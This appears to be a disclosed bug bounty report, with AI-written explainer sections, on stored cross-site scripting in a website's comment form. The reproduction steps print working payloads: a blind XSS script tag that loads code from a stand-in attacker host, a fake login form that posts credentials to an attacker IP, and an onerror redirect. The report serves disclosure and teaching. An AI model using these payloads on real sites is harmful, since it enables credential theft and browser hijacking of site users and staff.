Stored XSS via Comment Form at ████████
The comment form did not sanitise user input, allowing an attacker to inject HTML and JavaScript that would execute in the browser of anyone viewing the comment, including employees. This could lead to credential theft, forced browsing, keystroke logging, and drive-by downloads.
- Triaged in 4 days
- Fixed in 3 months
- Disclosed after 3 months
Summary: An attacker can submit a comment form with injected HTML, leading to a number of malicious effects
Step-by-step Reproduction Instructions
- Browse to https://████
- Complete the form. I placed
"><script src=http://attackerip/blind.js/>in theNamefield. Some example payloads for theCommentsfield are as follows:
For credential theft, an attacker could place <h3>Please login to proceed</h3><form action=http://attackerIP>Username:<br><input type="username" name="username"></br>Password:<br><input type="password" name="password"></br><br><input type="submit" value="Logon"></br> in the Comments field.
███████
████
To redirect to a malicious website, an attacker could use <img src=x onerror='javascript:window.open("http://catcompusa.com")'></img>.
██████
The malicious website will open in a new tab when the image fails to load as shown below:
█████████
Conclusions
- This leads me to believe that once a █████████ employee reads the comment, the code will be injected into their browser as well.
- Additionally, the blind XSS payload injected into the
Namefield seemed to cause a hit on my weblog from█████████and██████████.
█████
Suggested Mitigation/Remediation Actions
Sanitize how user input is parsed by the server before being reflected onto the resulting comment page to prevent XSS/HTML injection.
Impact
The attacker could achieve numerous effects such as credential theft, forced browsing, keystroke logging, drive-by downloads, etc. ultimately leading to administrative access over the █████ website and potentially other internal resources.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the server did not sanitise or encode user-supplied input before including it in the comment page, allowing HTML and JavaScript injection.
Impact
The attacker could achieve credential theft, forced browsing, keystroke logging, and drive-by downloads, potentially leading to administrative access over the website and other internal resources.
What the attacker needed
Access to the comment form; victim views the comment
How it was found
- Browse to the comment form page.
- Fill in the form, placing a script payload in the Name field and HTML payloads in the Comments field.
- Submit the form.
- When an employee views the comment, the injected code executes in their browser.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
When a website takes what you type into a form and puts it directly onto a page without cleaning it, an attacker can type special code (like HTML or JavaScript) that runs in other people's browsers. This is called stored cross-site scripting (XSS) because the malicious code is saved and shown to everyone who views the page. The attacker can then steal passwords or redirect users to bad sites.
What is XSS?
Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.